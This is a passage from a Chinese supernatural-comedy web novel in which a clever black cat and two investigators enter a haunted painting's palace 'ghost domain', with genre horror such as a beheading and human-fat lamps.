小咪不懂人类的专业术语,但能敏锐感知到女孩的情绪,于是它转过身,蹭蹭赵佳怡的腿,跑到猫包前打量。 赵佳怡这才想起,猫包里还有个接的二胎。 本来她还为难,该怎么和小咪解释,现在不用解释了。她只是接了个二胎,渣小猫的鱼塘里可是至少有五条鱼呢。 三花隔着猫包,朝小咪呜呜叫,骂得很脏。 小咪歪了歪头,“喵”了声,用牙齿把拉链咬开了,脑袋伸进包里。 对这种挑衅的行为,三花选择往后面缩,把自己蜷成一个圈,耳朵往后面翻,贴着脑袋,脸和眼睛都变成了完美的圆形。 小咪又把一只爪子伸进去。 三花猫的领地进一步缩减,往后面再退,直到抵着猫包。它瞪圆了眼睛,飞机耳,鼻子因激动充血,变成玫红色。 小咪低头,舔了舔它的毛,证明自己的地位。 三花猫低下头,眼睛眯了眯,心不甘情不愿地让它舔两下。它知道小咪的实力,并不敢反抗。 人类察觉不到两只猫之间的暗潮涌动。赵佳怡见它们关系这么好,一见面就给彼此舔毛,不由非常欣慰:“不愧是我家小咪,有个大心脏,这么容易就接受了新猫。” 在外面勾搭这么多个主人,接受能力能不好嘛。 她见两只猫都没有应激,放弃隔离的念头,把三花猫抱了出来。三花猫趴在她的腿上,用力拱她的手,让她摸摸自己。 赵佳怡一边摸着三花,一边看向小黑猫。 “我也不是只有你一只猫!你看看人家,臭咪。” 三花猫也偷偷瞟向小咪,眼珠子转得飞快。 它的内心有个邪恶的计划——通过讨好人类来稳固地位,报复这只欺骗自己嘎一刀的姐妹。 小咪背对着她们,不看戏瘾大发的一人一猫,尾巴敷衍地甩了甩。它跳到窗台上,抬头看着窗外的天空,听着隔壁的动静。 ———— 夏炫拿出瓶像清凉油一样的液体,往眼皮子上一抹。 “炫哥,这是什么?”李小明好奇问。 夏炫:“牛眼泪,抹到眼睛上可以见鬼,你要试试吗?” “好呀好呀。”李小明学着他的模样,把液体滴在眼皮上,四处张望,“鬼呢鬼呢,鬼在哪呢?” 夏炫抱臂站在一边,眼睛笑弯,嘴角上扬,不提醒他。 李小明突然觉得后颈发凉,往后面摸了摸,很明显,一股阴寒冰冷的气息轻轻吹过他的手背。他意识到什么,浑身发毛,鼓起勇气回头往后看一眼。 “呼……吓死我了,还以为后面有什么呢。”他拍了拍胸口,却看见夏炫的目光在往上瞟,看向他的头顶,他顺着对方的视线,慢慢抬起头。 一张煞白的面孔倒悬着,与他脸对着脸。 “啊啊啊!!!” ———— 小咪绷紧身体,站了起来,爪爪扒拉着窗户,指甲冒了出来,扣在金刚纱的孔洞里。 人,是不是遇到危险啦? 侧耳听了一会,又听见他们的声音,它的身体才放松下来,重新懒懒趴在窗台上。 室友却不知道猫为了守护领地操多大的心,只以为它被天空中飞过的鸟吸引了注意力。 ———— 夏炫把李小明拉到门口,开始收容这只溺死的鬼。他从口袋拿出外表像小茶壶的金属壶,打开壶盖,挂在天花板上的鬼就被无形吸引力拉入了壶中。 “牛啊炫哥!”李小明终于明白为什么自己队长对愚公小队这么尊敬了,有事他们是真能上,“我还以为你们是神棍呢,没想到这么有真本事!” 夏炫拎起小壶,表情却很凝重。 李小明:“是还有鬼没抓到吗?” “现实世界是不该出现这么多鬼的。”夏炫心中生出一股燥意,往口袋摸去,他没有抽烟的习惯,减压全靠薄荷糖。清凉的甜意在舌尖漫开,他晃了晃小壶,“他是庆康制药的员工?” “嗯,”李小明看着他,“现实世界出现这么鬼,说明了什么?” “人间正在变成鬼域。” 两个人离开后,笼罩在整栋楼黏腻不散的潮意散去不少。 感受到危险离开,小咪回头看一眼。 三花猫趴在赵佳怡的膝盖上,人和猫在腻歪,假装不在意地瞄它一眼。 赵佳怡把三花猫抱起来,亲亲它的额头,“啾啾啾,小猫咪,原来你才是世界上最可爱的小猫咪,对不对?”她一边夸三花,一边看小咪的脸色,试图向猫证明,就算它临幸其他铲屎官,她也不是没有猫的野人! 小咪跳下窗台,慢慢走过来,在赵佳怡的脚边拉伸了下身体,然后跳上她的膝盖,不客气地往旁边挤。 三花的身体僵硬,被它这么蛮横地挤了几下后,跳下膝盖,跑到猫粮碗前哐哐干饭。它又有一个邪恶的计划,吃掉家里全部猫粮,让咪挨饿。 小咪趴在赵佳怡腿上,打了个滚,身体仰面朝天,用爪爪玩她垂下来的头发。 赵佳怡抱着小猫咪,露出幸福的微笑,语气卑微地说:“小咪,你还会吃醋!你心里其实是爱我的,你心里其实有我,对不对啊?对不对啊?” 小咪玩着玩着头发,忍不住咬一口。 人类发出爆鸣:“啊!头皮痛!” ———— 赵佳怡给三花起名叫娘娘。 娘娘是只流浪过很久的猫,体格瘦小,长相美丽,它吃够了流浪的苦,变得分外能察言观色。 它会紧挨着赵佳怡,用头枕着她的手臂睡觉,一边打呼噜一边斜眼瞄小咪;过了两天,它又努力用脑袋蹭家具,把所有家具都留下自己的气味。 看小咪没反应,娘娘藏在床底,在小咪晒太阳时,猛地冲出来,试图埋伏它。但小咪一抬爪子,没有用力,就把它扇得像个陀螺一样边叫边飞旋着跑远。 从此娘娘再也没有不自量力挑战过小咪的地位。 家里的人类有猫陪了,小咪终于可以不用掐点在几个铲屎官之间进行时间管理,它会每天趴在窗户前,在暖洋洋的太阳底下思考,今天要去临幸哪一个人类,或者留在家里呼呼睡觉。 猫不需要考虑距离的问题了,小咪只要在路上喵喵叫几声,就能喊来一辆猫咪专属大巴车。 “喵。”它朝着花花老师叫。 花花老师把小猫抱上车,为它选了一个干燥的座位,问:“猫猫今天想去哪里呢?” 小咪歪头想了想,“喵喵喵。” 猫要去找奶奶! 薛芦花跟着考古组,已经有好一阵没回过家。考古工地外面用护栏围住,小咪从栏杆里跑了进去,在人群里找了一圈,找到奶奶。 薛芦花没有人认出它,毕竟,她很难想象自己家的猫能坐车穿越市区,准确在人群里找到自己。 “是我眼花了?”她揉揉眼睛,“还是太想福娃了?” 怎么看见一只黑猫,就觉得是她家福娃? 看完奶奶,小咪跑回大巴车上,“喵喵喵。” 猫要去研究所。 花花老师摸摸它的脑袋,收取了这次的路费,带它来到了研究所。 小咪不爱走门,照例跳上窗台,用爪爪拨开窗户,小脑袋塞了进去,好奇往里面张望。它发现所有人都表情严肃,背对着咪。 桌上放着一副合拢的画,卷轴用一条红布条捆起。 夏炫:“去庆康集团抓王绍远时,在他办公室发现了这个。他躲进了鬼域之中。” 万木春上半身趴在桌子上,后背被毒虫咬出的伤口还没愈合。他打了个寒颤,“这幅鬼图看着很凶啊。要怎么办,直接打开图进去抓他吗?” 萧向秦点头,“你算一卦。” “好咧。”面对着污染物,万木春可以用能力卜出相应的鬼域线索。乌龟从他的袖子里爬出来,慢腾腾在桌子上爬动,没爬几步,就被猫踩在了脚底下。 小咪好奇地把脑袋凑到乌龟面前嗅嗅。 乌龟吓得把四肢脑袋都缩进壳里,只剩个乌龟壳被猫爪拨得不停打转。 万木春“哎”了声,吓得面色苍白,“咪咪!怕了你,你们干瞪眼干什么,快把它抱下去。” 影子和人感官相通,谁懂他胸口被一只猫爪压住,动弹不得,抬头就是一张毛绒绒庞然大猫脸的感觉啊。人家名字叫咪咪,但其实是猎食者,超可怕的好嘛。 “我觉得咪咪算得比较准。”崔姜把小咪抱了下来,“咦,你这是去哪里玩了,爪子这么脏?” 桌子上多了好几个泥巴画的梅花脚印。 小咪听懂她的话,跳下来,找了个角落趴着,专心舔自己的爪爪。 这时,万木春的线索也卜出来了。 “七月七日长生殿,夜半无人私语时;在天愿作比翼鸟,在地愿为连理枝。” “线索指的是什么爱情故事吗?” 萧向秦:“夏炫,收拾一下,准备进去。” 夏炫本来蹲在地上逗猫,闻言茫然抬起头,“啊?我?” 苏乐也很奇怪,“让阿炫去?他的能力不适合进鬼域探索。” 信使可以传递信息,上次疗养院里,如果没有夏炫在外帮助,他们恐怕没办法猜出自己身在哪里,更不要说走出鬼域了。很明显,夏炫是个待在外面摸鱼比在暗世界更强的辅助型。 萧向秦:“他和我一起进去。其他人准备一下应付深渊。” 夏炫挠挠头,“好吧,反正有队长你在,可以抱大腿,就我们两个人吗?” 萧向秦目光下移,落在角落舔毛的小黑猫身上。 小咪歪了歪头,“喵呜。” 它跑到所长办公室,叼起了自己的小帽子。所长还给它做了一套制服,但勒在身上有点紧,一穿上它连路都不会走了,走起道来歪七扭八,没几步就趴下来。 所长说是自己尺寸没量好,给它脱掉制服,打算再改改大小。 小咪叼着帽子跑出来,跳到萧向秦的肩膀上。夏炫则向所长申请,拿了一件污染物进入鬼域。 萧向秦将卷轴慢慢打开。 下一秒,虹光一卷,两个人的身影消失在了房间。 苏乐盯着展开的古画,眉头微皱,“怎么是这张画……”、 画面色调昏暗。 华服女人背对着人,正对镜梳妆,她的身形美丽,华裙逶迤在地,从领子里探出的脖颈色若白玉,修长纤细,弧度柔和。 一定是绝色的美人才配得上这段天鹅般的颈子。 但他们无从窥见美人的真容了——脖颈之上露出森白的骨茬,本来是头颅的位置,却不见了踪影。 ———— “你们是新来的画师吧?” 小咪眨了眨眼睛,抬头往上看。 一位年轻男子垂手,站在宫墙前迎接他们。他穿着身古装剧里的长袍,眉眼温润,文质彬彬,“请画师在此稍候片刻,诸位都是陛下的贵客,请友好相处,不要起争端。” 小咪歪着脑袋,打量左右,眼睛瞪得圆圆。 好多人! 这些人穿的都是古装款式,长袍,直裰,布靴。他们往往几人聚一起,穿得最讲究的是画师,其他几个类似书童的角色,把画师围在中心,为他撑伞扇风背着行囊。 “喵呜?”小咪抬起头,嗅着空气里纷乱的气味。 一只大脚突然朝它踢来,幸好猫躲得快,灵活跳开,气愤地朝着那人喵喵叫。 “哪里来的野猫?快赶它走,别让它偷咬坏了我的画。”八字胡高颧骨的画师大声囔囔,他的两位书童争着表现,俯身来追小咪,一个想在前面堵住猫,被猫从腿间钻过去,一个想拽着猫的尾巴,低头撅臀往下跑,不曾想撞到了一棵树上。 其他人哄堂大笑,空气里传来快活的笑声。 八字胡的画师气得涨红了脸,“没有用的东西!”他来到树下,仰头看着趴在树枝悠闲甩尾巴的黑猫,更是气不打一处来。 这棵树不高,他跳起来,指尖勾住猫的尾巴,还没把尾巴抓住,那条灵活的大尾巴突然从他的手掌抽走。 尾巴在树上晃来晃去。 八字胡在树下蹦蹦跳跳。 两个书童也很上道,一个爬上树来赶猫,另外一个矮下身,把八字胡背起来。 小咪在树上伸了个懒腰,正准备跳到另外高一点的树枝上,突然耳朵动了动,听见宫殿里传来了哭声。 哭声幽怨至极,像飘荡的游魂,钻入小咪的耳朵里。它动作一顿,认真倾听哭声飘来的方向,尾巴却被一只大手拽住。 “哼,终于抓到你了吧!小畜生。”八字胡抓紧小黑猫的尾巴,用力往地上摔去。 小咪的身体在空中转了几圈,摔进熟悉的怀抱里。它抱住夏炫的手臂,委屈地“呜呜”抱怨。 坏人欺负猫! 总是爱笑的青年脸色变得极差,面无表情地盯着八字胡。 八字胡画师有些紧张,吞了口口水,“这只猫是你养的?你早说嘛,黑猫不祥,晦气……” 他的话还没说完,就被一脚踹飞,“啊啊啊”惨叫着摔在地上,屁股多了一枚清晰的鞋印。 书童连忙去扶起他。 八字胡气得吹胡子瞪眼,怒视着踢他的男人。 男人骨架宽阔,身材高大挺拔,撑起了宽大的衣袍,剑眉星眸不怒自威,气势逼人。 八字胡小声骂:“晦气,怎么惹了这种人。” 小咪蹭了蹭夏炫一会,又跳到萧向秦的怀里,“喵呜。” 人,猫给你摸摸,不要生气。 萧向秦脸色微缓,捏捏它的爪子。 “队长,刚才我打听了一下,这皇帝请了很多画师,来给他的宠妃画画,看情况我们也要画啊,”夏炫表情纠结,“我上次拿起水彩笔还是小学,你会画画吗?” 萧向秦:“不会。” 夏炫叹口气,“这可咋办啊?要是画技太烂,会不会直接被处死?” 萧向秦:“我们画技不重要。” “为什么?” “看看你的装扮。” 夏炫低头,他穿着身及膝盖的素色长袍,下衣是条宽松的黑色裤子,腰部用丝绦系紧,脚蹬一双鞋面宽厚的靛蓝鞋子,鞋底较厚。他又打量其他人的装扮,明白过来,笑了,“敢情我变成了书童。” 他又仔细打量萧向秦。对方劲装打扮,衣着利落,也不像画师,像是护卫。 “那谁是画师?”他表情微变,目光下移,“该不会是……” 正在舔毛的小咪抬起脸,“喵呜?” 刚才夏炫没仔细看,现在他发现,小黑猫的头上戴了个小帽子。不是所长做的那顶帽子,而是类似于书生常戴的飘飘巾,正面是黑色的方形,状如屋顶,帽顶前后各有一副巾片,帽后缀有两条漆黑的丝带。 被小猫戴着,怪可爱的。 但夏炫心中一片冰凉,“啊?让咪咪来画画,还不如我画呢,我们这不是死定了吗?” 小咪朝他大声叫:“喵喵喵!” 猫知道怎么画画!爷爷每张书法上都有咪的画,爷爷还一直夸咪画得好。 眼前小猫拖长了声音叫,夏炫忍不住摸摸它,笑着说:“你反驳什么,你的小爪子能抓得住笔吗?” “喵啊——” 猫直接用爪爪画。 萧向秦转过脸,面无表情地看向月亮门洞。 八字胡画师鬼鬼祟祟跑到那位接引人的面前,“大人,他们刚才打了我,他们违背了您的规定!” “哦?”接引人微微眯起眼。 四周霎时变得极其阴冷。 60-70 第61章 夏炫摸到自己怀里的污染物, 身体紧绷。 污染物可以替他们抵挡一次来自于鬼怪的攻击,但在不属于自己的鬼域中,受到的限制极大。 面前这个接引人显然是重要NPC, 得罪他百害无一利。如果npc因此禁止他们进入宫中,他们可就麻烦了,也许会被一直困在鬼域里无法逃脱, 就像薛静秋一样。 接引人看向他们,嘴角扬起,微笑着说:“他说你们破坏了规则,是吗?” 萧向秦没开口,夏炫只好硬着头皮,解释:“是他先动手的。” 八字胡画师气道:“我没有动手,我只是在抓一只猫,大家都瞧见了。” 夏炫:“没错, 他先打我们家画师的!” 小咪扒拉着人的手臂,理直气壮地叫:“喵!” 就是这样。 八字胡:“你家猫是画师啊?你……” 他的视线突然出现了一片湛蓝的天空, 而后是粗糙的地面和神色各异的人, 再之后, 他看见了自己的躯干。 接引人轻描淡写地砍下画师的脑袋,笑着说:“陛下喜欢清净,请大家友好相处,不要喧哗。” 没有人敢出声了。 小咪抱紧萧向秦的手臂, 身体绷紧, 眼睛瞪圆, 喉咙发出低低的“嗷呜”声。 “人已经齐了,我来带诸位进宫。”接引公公垂着手,带一干人进入重重宫墙。 “我们要去的地方叫丹青苑, ”夏炫压低声音同萧向秦说,“皇帝特意修的,为了让画师画出最好的作品。他对这位娘娘是真爱吧。” 一进入鬼域,他在人群里转了一圈,发挥自己的社牛属性,已经把消息打探得七七八八。毕竟就算顶着泡面头,他也是个相貌英俊,笑容可亲,相当讨人喜欢的青年。 萧向秦问:“为什么要给娘娘作画?” 夏炫挠头,“为了画出她的美?” 这位君主在历史上相当不出名,甚至不能说是个皇帝。现在正是妖鬼苏醒的年代,人间到处是魑魅魍魉,王朝早就分裂了,变成一个又一个零星小国分散在大地上。战乱与鬼怪让小国家更叠很快,这位修建丹青楼的君主并没留下什么姓名。 萧向秦没有说话。 “七月七日长生殿,夜半无人私语时,这就是在说爱情吧。不过,”夏炫目光扫过众人,“王绍远躲在哪里了?” 王绍远是老鸹鬼,说不定会借用别人的皮囊,他对这个鬼域更加熟悉,肯定不会束手就擒,会想方设法来杀死他们。 小咪也从萧向秦怀中跳下来,跑到人的鞋子附近,一个个去嗅他们身上的气味。 猫翘起尾巴跑到了最前面,猝不及防被一双手抱了起来。 “咪咪。”夏炫紧张喊。 抱起小咪的不是别人,而是刚刚那位轻描淡写取走八字胡脑袋的接引公公。 他长得极其姝丽,面孔雪白,眉眼如画,鸦羽般的眼睫垂着,凝视着手上的小猫。 但夏炫想到他拧断人脑袋的本事,后背蹿起股寒意,生怕他一不开心,把小猫的脑袋也摘了。 接引公公果然也如此做了,用手虚虚掐住小咪的脖子。 小咪“喵呜”了声,下巴搁在他的虎口,抬起眼睛看着他,眼神信任依赖。 “呼噜呼噜。” 猫的脖子比人更要纤细柔软,五指合拢,能感受到它打呼噜时身体的颤动。 接引公公收回了手,捂住嘴唇,低低咳嗽两声。 “大人,把我家画师还给我们吧,它还要给娘娘作画呢。”夏炫伸出手。 小咪纵身一跳,跳到他的怀里,继续大声打呼噜。 “别乱跑。”看着npc没做什么,夏炫松口气,一巴掌轻轻拍在它屁股上。 “喵!”小咪蹿到人的头顶,观察四周。 他们正经过条青石砖铺成的道路,两侧宫墙赤红,仿佛有鲜血在淌动。 道路很长,接引公公在前面慢慢走,一行人看着他的背影,跟在身后。 夏炫只瞟了宫墙一眼,就有种被凝视的错觉,仿佛这片赤红不是墙壁,而是被剥去人皮的赤裸血肉。他连忙移开目光,垂眸看着地上的青砖,脚下踩着的砖块松动,边角缺了小块,莫名让他觉得眼熟。 小咪搭在夏炫的肩膀,靠在他怀里,昏昏欲睡,睡梦中,又听见幽怨的哭声。它睁开眼睛,耳朵微抖,耳尖尖毛后撇。 “喵呜。”猫爬到了青年的脑袋顶上。 “咪咪?” 小咪把头顶当做跳板,猛地起跳,前爪趴上墙沿,后爪往墙上蹬几下,顺利翻上宫墙。 墙壁上也被猫划出几道划痕。 夏炫心里“我擦”了声,这么高的墙,他们肯定是爬不上去了。他也不敢出声喊,让小咪下来—— 接引npc如此残暴,发现画师扒墙,不得把它的皮扒下来。 他只好使劲给猫使眼色,让它跳下来。 小咪歪头看了看他,又侧耳听了听飘来的哭声,跳下了宫墙,翻到另外一边去了。 夏炫只好拢着怀,假装自己还在抱猫。 幸好,没有人发现他们的画师扒墙跑了。 ———— 小咪循着哭声,来到一片花园中。 花园姹紫嫣红,开得格外鲜艳。一位小宫女蹲在墙角树下,低声呜咽。 头顶一树桃花,粉红花瓣重重叠叠,灿若云霞。小宫女从皱巴巴的手帕里拿出一块糕点,放在树下,哽咽着说:“这是我从御膳房那偷来的,有些不新鲜了,娘娘,你不要嫌弃。” 小咪转到树后,探出猫猫头,悄悄打量她。 小宫女面容稚气未脱,十二三岁的模样,头上扎着双髻。不知是遇见什么伤心事,她不停啜泣,双肩微颤,眼睛红肿。 泪珠大颗大颗掉在地上。 她哭得上气不接下气,眼前一片模糊,突然,有一个毛绒绒的小东西钻进她的怀里,脸颊的泪珠被长着倒刺的小舌头卷走。 小宫女用力揉了揉眼睛。 逐渐清晰的视野中,出现了只眼睛圆圆的小黑猫。它歪着脑袋,蹭了蹭她的下巴,静静看着她。 人,猫担心你。 小宫女读懂了小猫的话,眼睛里又盈满了泪珠,闷声说:“猫猫,你是抓耗子的猫猫吗?” “喵!”小咪自信地回答。 猫抓耗子可厉害了。 “最近宫里有很多耗子,我总听见它们嘎吱嘎吱叫,一醒来,发现耗子在咬我的脚趾!猫猫,你要努力一些。” “喵呜。”小咪坐得笔直,表情严肃。没有一只耗子能在猫的面前安全跑过。 小宫女:“我带你去房间抓耗子。” “喵!”小咪纵身一跳,跳到了她的肩膀上,爪爪拨弄小宫女头顶的包子一样的发髻,指甲勾乱了她的头发。 “猫猫,不要捣乱。” “喵呜。”小咪乖乖坐好了。 小宫女带她来到一个长条形的房间里,房中没有窗户,光线昏暗。黑暗之中响起嘎吱嘎吱的声音,一双双血红的眼睛望过来。 “是谁是谁,谁来了?” 小宫女脆声应:“是猫猫,猫猫来帮我们抓老鼠了。” “太好了,是猫猫。” “猫猫不要咬到我的身体了哦。” 小咪:“喵!” 它从小宫女身上蹿下去,化作一道黑影,扑向了乱蹿的老鼠。这间房中的耗子体型有猫这么大,一个个肥硕健壮,牙齿尖长,它们把小咪围在中心,试图杀死它。 小咪扫视一圈,猛地扑向最肥大的那只耗子,一口咬断它的喉咙。耗子王喉咙噗噗流血,爪子弹动,没有马上毙命,凄惨地吱吱惨叫,嘴里吐出个染血的脚趾头。 “啊,我的脚趾找回来了。”小宫女欢欣雀跃地捡起指头。 其他耗子一哄而散,小咪乘胜追击,咬死十几只大肥耗子。 大耗子吃起来费劲,它舔了舔爪子,看着地上一排尸体,很有成就感。 “猫猫真是太棒了。”一双双冰冷的手抚摸过小咪的身体。 “这下耗子不敢再来咬我们了啦。” 小宫女将小咪带出了暗黑房间,乍然明亮的光线让猫瞳孔紧缩,从黑瞳变成灿烂的金色。 “天色快暗下来了,猫猫住在哪里?” “喵——” “猫猫是画师?”小宫女注意到猫头上顶的飘飘帽,惊呼一声,“那你怎么还在这里?糟了糟了,来不及了,我直接带你去丹青苑吧。丹青苑有个很危险的家伙……猫猫晚上早些睡觉,不要乱跑到黑暗的地方去。” “喵!” 小咪吃饱喝足,抱着小宫女的手臂,迷迷糊糊睡着了,醒来的时候,它已经被带到了一间院落前。 它本来以为萧向秦夏炫应该早就到了,没想到院门还未打开,两个人也没有踪影。 小咪爬到树上等他们,宫女朝着她挥手告别,“猫猫,”她转头看了看四下无人,说:“你准备好颜料和笔了吗?” 小咪歪歪头,“喵呜?” 猫从来不用笔。 宫女拿出一个香囊,递给小咪,“那我送喵喵一支笔吧,只是颜料只能用一日,喵喵要记得,后日去殿中时,一定要准备好材料,不然,红蜡姐姐会剥了你们的皮!” 小宫女离开后,猫继续懒懒趴在树枝睡觉,大尾巴垂下,时不时勾起,随风轻轻摇晃。 不知睡了多久,它听见了脚步声,人类才姗姗来迟。 “这是你们的住处,”公公将画师们引到一间房前,“诸位早些歇息,明日,会有人来带着你们去长春宫中画画。诸位画师……” 他的目光扫过众人,落在卷发青年的身上,笑着问:“书童,你们的画师呢?” 夏炫表情紧张,不知道该怎么解释。他家画师路走一半扒墙跑了,鬼知道它是去扑蝴蝶,还是去抓虫子? 接引公公眼神微凝,再次问:“画师呢?我不是说过,宫苑禁地,跟在我的身后,不要乱走吗?万一冲撞了贵人怎么办?” 夏炫口袋中的污染物震了一下发出预警, npc显然有了杀意。在这里弄丢画师是件要掉脑袋的事情,可这也没什么办法,猫要爬墙,谁拦得住?谁让他们的画师是只小猫咪呢? 他握紧污染物,脖子上忽然一凉,渗出股鲜红血液。 在脖子被割断的前一秒,一只黑猫从天而降,落在他的头顶。 小咪打了个哈欠,“喵啊——” “看来画师大人累了。”公公低下眉眼,“那便早些歇息吧。” 夏炫把猫抱在怀里,问:“大人,住在这里可有什么规矩要遵循?” 公公撩起眼皮,看他们一眼,笑着说:“宫中贵人们不喜嘈杂,不要喧哗吵闹,晚上早些睡觉,宫女们思乡心切,偶有哭声飘来,也是正常的,不必惊惶。” 这一间院落中有六间房,房间并排而立,他们的房间在最左。 天色业已昏暗,几个画师在院落攀谈,看见两人,也过来搭讪。只是画师们性格倨傲,恃才傲物,不肯自降身份和书童对话,只愿意和同为“画师”的猫攀谈。 “你们两个随从,还不替自己的主子去打扫房间?” 一位年轻的画师厉声呵斥。 “……”夏炫欲言又止,好吧,这下真成猫猫的奴才了。 “喵喵喵。”小咪朝他们大声叫。 不许欺负它的随从。 除却这位年轻画师,院中还站着两位画师,一位中年文士模样,另一位是头发苍白、身形佝偻的老头。三个人正在高谈阔论,小咪同为画师,顶着飘飘帽,没有被他们排挤驱逐,趴在院中石桌上,侧耳听他们的对话。 据说这位娘娘是一位绝色的美人,宛若天仙落凡尘。猖獗的妖魔鬼怪,一看见娘娘姝色,就会自觉拜倒在她的石榴裙之下。 明王极其宠爱她,为了讨美人欢心,特邀天下画师来宫中,还专为画师建造一栋丹青楼,希望有人能画出美人的天姿国色。若是美人图得娘娘和陛下的喜欢,除了金银珠宝高官厚禄,君主还允诺,王国之中的全部宝物,可以仍挑选一件,就算是要他皇冠上的那颗大东珠,他也会欣然赠予。 几位都是对自己画技颇有自信的画师,感叹一会明王对宠妃用情之深后,又开始互相吹捧。 小咪耳朵抖了抖,对这个话题不感兴趣,伸了个懒腰,准备回房间睡觉。 中年文士喊住了它,“在下寐城人氏,名陈商音,门下有弟子百人,这位小猫画师,来自何方,可有门徒?” 夏炫走出房间,听到这句话,心里搁楞一声。 显然,因为鬼域判定的关系, npc们产生了古怪的认知。在他们眼里,小猫是猫,但也是画师。 如果资历不够,恐怕得不到他们的认可,还会被排挤。 夏炫:“我们的画……” 还没说完,年轻人瞪他一眼,“区区书童,有你说话的份吗?” 夏炫像吃了苍蝇一样难受,心里骂了句脏话:这该死的充满鄙视的封建社会。 小咪甩了甩前爪上的草籽,朝他们叫:“喵喵喵——” 猫有很多很多粉丝,十几万呢。 它骄傲地仰起小脑袋,尾巴也自信地高高翘起。 这几个画师也听懂他的话,震惊地瞪大眼睛,“小猫画师居然如此出名,拥趸如云,真是太了不起了。” 小咪:“喵!” 也许是觉得猫很厉害,夏炫这个书童也借了几分猫的光,至少这次,几个画师不再对他吹胡子瞪眼了。 “得咧,我家画师累了,奴才得服侍它吃饭就寝,您几位继续商业互夸吧。”他伸手把猫一捞,抱紧怀里,忙不叠地回了自己房间。 房间靠窗的位置有一盏油灯,烛火昏黄,萧向秦坐在灯前,暖黄的火光柔和了他过分锋利凛冽的五官。听见声音,他偏头看向小猫,漆黑双眸倒映两点火光。 小咪朝他打招呼:“喵呜。” “外面那帮画师捧高踩低的,”夏炫吐槽:“幸好咱们咪咪争气,替我出了口气!” 刚进来时,房间里亮着烛火,桌上摆放了食物茶水。两个人不打算吃这里的东西。他们从包里拿出食物应付,又给小咪开了个猫罐头。 小咪吃耗子吃了个饱,对猫罐头不感兴趣,懒懒趴在自己爪爪上。 “咪咪,明天你可怎么画画啊?”夏炫摸着它的毛,忧心忡忡。 小咪反驳:“喵啊——” 猫会画梅花! 夏炫叹口气,总觉得这次鬼域没什么戏了,不过他们的任务是抓捕王绍远,再想方设法从鬼域离开,也不必强求让猫猫给美人画画。 小咪叼起宫女给自己的香囊,递给夏炫。 “咦,这是从哪里弄来的?” “喵喵喵——” 好在不必担心人听不懂人话了,现在有影子可以帮忙翻译。影子帮它简要说了下今天的经历。 “画笔?”夏炫打开香囊,从里面拿出一截带血的指头,脸色发白,“这是画笔?” “喵!” “手指头是画笔,那什么是颜料,什么是画纸?” 人血为颜料,人皮作画纸?如果没有宫女提醒,他们毫无准备进入宫殿,怕不是会被厉鬼剥皮抽血来画画。 夏炫想着就汗毛倒竖,摸摸小咪的脑袋,“还得是你啊,咪咪。” “喵呜。” “不过到哪去找纸和颜料呢?难道要去剥谁的皮,太凶残了吧。”夏炫喃喃自语。 这些是奴才们发愁的事情,小咪跳到青年腿上,选了个合适的位置,脑袋枕着他的手,闭上眼睛假寐。 萧向秦:“向其他画师借,他们是这个世界的人,应该做了准备。” “那他们要是不愿意借呢?” “今晚如果死一个人,我们就有材料了。” “我擦,队长,你好凶残。” 房间内有三张床榻,最大的那一张是给小咪的,不过咪更喜欢趴在人的胸口。夏炫平躺着,抚摸怀中小猫,猫的脑袋埋在他颈窝,小小的身体随着呼吸起伏。 小小的身体还怪沉的,压得人喘不过气,但他甘之若饴就是了。 “队长,咪咪去的那个地方有点奇怪,宫里有这么多耗子?而且耗子怎么会把人的脚趾咬断呢?” 萧向秦:“没有窗户的长条形房间,不像房子。” “那是什么?” “棺材。” 夏炫一下子坐了起来,胸口的小猫滚到他的腿上,不满地睁开眼睛囔囔。 “咪咪进了一次棺材?” 棺材里装满了死人,才吸引了这么多吃死人肉的耗子。 他摸摸小咪,心有余悸,虎口却一疼,小咪还有一肚子起床气,不满地咬在他的手上,轻轻咬一口,骂骂咧咧地“喵喵”叫。 “咪咪,你不怕吗?” 小咪叼着他的手指,“喵呜。” 人,大惊小怪,猫为什么要怕耗子。 “为什么这么多宫女死了呢?宫里发生了什么?”夏炫看向躺在另一张床上的男人,萧向秦睁着眼睛,表情沉凝,没有说话。 夏炫便起身准备吹灭灯睡觉。接引公公提醒过他们,要早些歇息。 萧向秦喊住了他,“让灯亮着吧。” “哎?灯亮着不会很显眼吗?” 萧向秦:“我们刚进来时,天色还没黑,屋子里就已经点上了一盏灯,说不定熄灭灯反而会吸引来鬼怪。你把灯拿过来一点,别靠近窗户。” 夏炫按照他说的摆放好油灯。 装油灯的灯盏做工精致,一位仕女跪在地上,脑袋削去一半,暗黄的火舌便从她的头顶吐出。 他移动油灯后,发现自己掌心黏糊糊的,一闻,腐臭的油脂味钻入鼻腔,让他忍不住干呕几下。 “这油灯燃料好像是……人身上的脂肪。”夏炫使劲擦手,鼻腔里臭味萦绕不散,“队长,我觉得不吉利,人脂燃灯会招来什么鬼东西?” 小咪也觉得他手掌气味刺鼻,跑到另一个人类身边,挨着他的腰侧躺下。 萧向秦顺手摸着小猫,“我觉得不对劲。” “是啊!这灯太恶心了,气味怎么都擦不掉,要不还是吹灭吧。”夏炫闻闻手掌,又反胃干呕几声。 萧向秦:“不是这个,是很早之前。先睡觉吧。” 说完,他把眼睛一闭,呼吸声均匀。 夏炫瞪大眼睛,“队长?队长?这就睡了?” 对面一人一猫都睡得很香,他只好爬上自己的床,缩在被子里,努力让自己进入梦乡。 许久。 一只手指戳破窗纸,戳出的空洞后,出现了一只眼睛。 他静静凝视着屋内,目光瞟过沉睡的两人,落在燃烧的油灯上。 灯火缓慢地燃烧着,火苗不大。 他朝着空洞吹气,火舌摇曳了两下。 油灯摆放的位置发生移动,离窗户更远了,他吹不灭灯火,悄无声息地离开。没过多久,又去而复返,拿出一根空心的麦秆,悄悄探入屋内,朝油灯吹气。 “呼——” “呼——” 第62章 吹了两下, 本就小的火苗变得更加微弱,风中烛火,摇摇欲坠。 麦秆突然动了动, 触碰他的唇瓣,几根毛飞到了嘴里,他鼓起双腮, 更用力地吹气。 “呼——” 一股气堵在嘴里,就像被梗住,怎么也吹不出去。 他把麦秆往回拉,另一边却好像有股力量,与他拉扯着麦秆。拉锯几次,他拉回了麦秆,却短了一截。 他放下麦秆,重新俯下身, 眼睛覆在纸洞上。 屋内一灯如豆,油灯缓慢燃烧, 最右侧青年依旧侧身睡在榻上, 呼吸均匀, 他的瞳孔转动,看向另外一边,视线被一张毛茸茸的猫脸占据。 黑猫脸圆圆的,金瞳瞪圆,歪着头,嘴巴叼着麦秆,露出雪白的小虎牙。 对视一会,小黑猫跳到了一边,雪亮的刀尖猛地刺过来。 